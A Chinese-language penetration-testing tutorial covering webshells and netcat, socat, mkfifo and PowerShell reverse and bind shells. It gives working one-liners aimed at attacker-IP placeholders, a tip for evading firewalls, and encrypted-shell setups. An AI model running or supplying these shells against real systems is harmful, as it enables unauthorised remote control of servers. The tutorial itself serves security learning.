透過上一篇,我們透過 nmap 掃描 port,在從版本去查詢漏洞資料庫,知道目標伺服器(受害主機)可能會有已知漏洞,而我們透過 exploit /POC 是為了達到什麼目的呢?
其實我們最終目的就是希望可以控制被害的伺服器,但如何控制?透過什麼東西控制?為什麼要控制?
我們透過已知漏洞,上傳木馬後門、執行惡意程式或執行惡意指令,讓我們可以連線到伺服器,並且可以在該台伺服器任意執行指令,這就是所謂的 Remote code execution (RCE) 遠端執行指令的弱點,屬於風險與影響最高的弱點。
假設是上傳一個後門也就是從網站端去執行程式碼,這個程式碼可以透過網頁的方式與伺服器互動,我們稱它為 webshell。
webshell 內容可能如下,這是一個由 PHP 撰寫的後門:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
可以透過 http://ip/uploads/shell.php?cmd=ifconfig
由參數 cmd 中執行指令。
除了透過弱點上傳 WebShell 之外,也可以透過已知弱點,執行惡意指令或執行惡意程式,讓我們達到穩定的連線,並跟目標伺服器作互動,以下介紹兩種種類的 shell 連線方式:
/bin/sh
或 cmd.exe
此外還有一個概念可以簡單將互動模式分成互動與非互動:
人家都說是網路瑞士刀,可以手動跟網路進行互瞪,前幾篇有介紹可以利用該工具確認目標開的 port,不過該工具有時候比較不穩定,有 Windows 的版本。
Reverse shell:在 Linux 中利用 netcat 啟動 listen 監聽
攻擊主機:sudo nc -lvnp <監聽 port>
受害主機(Linux):sudo nc <攻擊主機IP> <監聽 port> -e /bin/bash
受害主機(Windows):sudo nc <攻擊主機IP> <監聽 port> -e "cmd.exe"
參數 | 說明 |
---|---|
-l |
啟動監聽模式 |
-v |
輸出詳細資訊 |
-n |
不要解析 DNS |
-p |
指定 port |
-e |
設定連線後執行的程式 |
※可以指定常用的 port 80,443,53 比較容易讓防火牆偵測不到
Bind shell:在 Windows 中利用 netcat 啟動 listen 監聽
受害主機(Windows):sudo nc -lvnp <port> -e "cmd.exe"
受害主機(Linux):sudo nc -lvnp <port> -e "/bin/bash"
攻擊主機:sudo nc <受害主機IP> <port>
Reverse shell:加強連線
攻擊主機:sudo nc -lvnp <監聽 port>
受害主機:sudo nc <攻擊主機IP> <監聽 port> -e /bin/bash
於攻擊者機中,看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx]
表示受害主機已經連線,在此畫面可以輸入指令,但因為非互動式的,且會有輸出格式的錯誤,甚至是有亂碼,導致非常不穩定,可透過以下 Python 的方法提升連線。
加強連線方法一
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
clear
。stty raw -echo; fg
不輸出我們自己輸入的指令,且讓在背景的連線,回到前景。加強連線方法二
使用工具 rlwrap 提升穩定:
sudo apt install rlwrap
rlwrap nc -lvnp <port>
利用 mkfifo 建立有名稱的 pipe:Reverse shell
攻擊主機:sudo nc -lvnp <監聽 port>
受害主機(linux):mkfifo /tmp/f; nc <攻擊主機IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
建立一個命名的 pipo 於資料夾 /tmp 內的檔案 f,並利用 nc 將攻擊主機傳來的指令內容從 /tmp/f 輸出連接,並將我們輸入的指令送給 sh 去執行,如果有錯誤訊息直接傳入背景,最後移除 /tmp/f。
受害主機(Windows):
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<攻擊主機IP>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
利用 mkfifo 建立有名稱的 pipe:Bind shell
受害主機:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
建立一個命名的 pipo 於資料夾 /tmp 內的檔案 f,並利用 nc 將監聽的內容從 /tmp/f 輸出連接,並將我們輸入的指令送給 sh 去執行,如果有錯誤訊息直接傳入背景,最後移除 /tmp/f。
攻擊主機:sudo nc <受害主機IP> <port>
比 netcat 穩定,但語法比較困難,預設狀況下 Linux 會安裝 netcat 比較少安裝 socat,有 Windows 的版本。
Reverse shell
攻擊主機:socat TCP-L:<port> -
受害主機(Windows):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes 代表連線後執行 powershell,並利用 Linux 標準的輸入輸出。
受害主機(Linux):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind shell
受害主機(Linux):socat TCP-L:<PORT> EXEC:"bash -li"
受害主機(Windows):socat TCP-L:<PORT> EXEC:powershell.exe,pipes
攻擊主機:socat TCP:<TARGET-IP>:<TARGET-PORT> -
穩定針對 Linux 的 Reverse Shell
攻擊主機:socat TCP-L:<port> FILE:
tty,raw,echo=0
把目前的 tty 當作檔案傳送,並將回傳值設定為零。
無 socat 情況
如果沒有 socat 可在受害主機下載後執行,預先編好的 socat ,並輸入以下的指令:
攻擊主機:sudo rlerap nc -lvnp [port]
當看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx]
與受害主機連線成功後,執行以下指令:socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
參數 | 說明 |
---|---|
pty |
為了連線穩定品質,在目標隨機分配一個數字。 |
stderr |
因為非互動式的 shell 可能會有錯誤訊息,因此確保錯誤訊息顯示在 shell 中。 |
sigint |
允許我們透過 Ctrl + C 取消 shell 的指令。 |
setsid |
設定新的連線過6 |
sane |
穩定 shell |
加密 socat 連線:Reverse Shell
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
加密 socat 連線:Bind Shell
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
除了 webshell 和工具 netcat 、socat 之外還有其他其他程式語言與指令可以利用,Reverse Shell Cheat Sheet,包含Python
、PHP
、Ruby
、Golang
,等其他指令。
接下來還會詳細介紹兩個工具(Msfvenom 與 Metasploit 中的模組 multi/handler)
use auxiliary/multi/handler
之後,進行額外的設定,如設定 PAYLOAD 、Listen IP、Listen port 等。